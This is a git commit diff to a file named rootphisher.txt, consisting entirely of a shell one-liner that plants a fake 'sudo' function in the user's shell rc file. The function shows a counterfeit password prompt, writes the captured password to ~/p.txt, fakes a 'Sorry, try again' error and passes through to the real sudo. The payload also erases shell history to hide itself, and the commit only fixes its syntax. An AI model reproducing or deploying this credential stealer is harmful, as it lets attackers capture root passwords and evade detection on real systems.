Commit: cc3306b00fbae2fb3134b14399427e49aa0a8f0c Parent: 5b236410c08b38f631e7bd8eaf5663b9385e6be8 Author: Vi Grey Date: 2017-10-07 16:23 UTC Summary: rootphisher.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rootphisher.txt b/rootphisher.txt index a11ed0f..ae20ce2 100644 --- a/rootphisher.txt +++ b/rootphisher.txt @@ -1,3 +1,3 @@ a=$HISTFILE;unset HISTFILE -h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;R=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $R;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;fi};$R(){ $r \$@}">>$s +h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;R=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $R;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;fi;};$R(){ $r \$@;}">>$s sed -i -n /HISTFILE/\!p $a;history -c>/dev/null 2>&1;exit \ No newline at end of file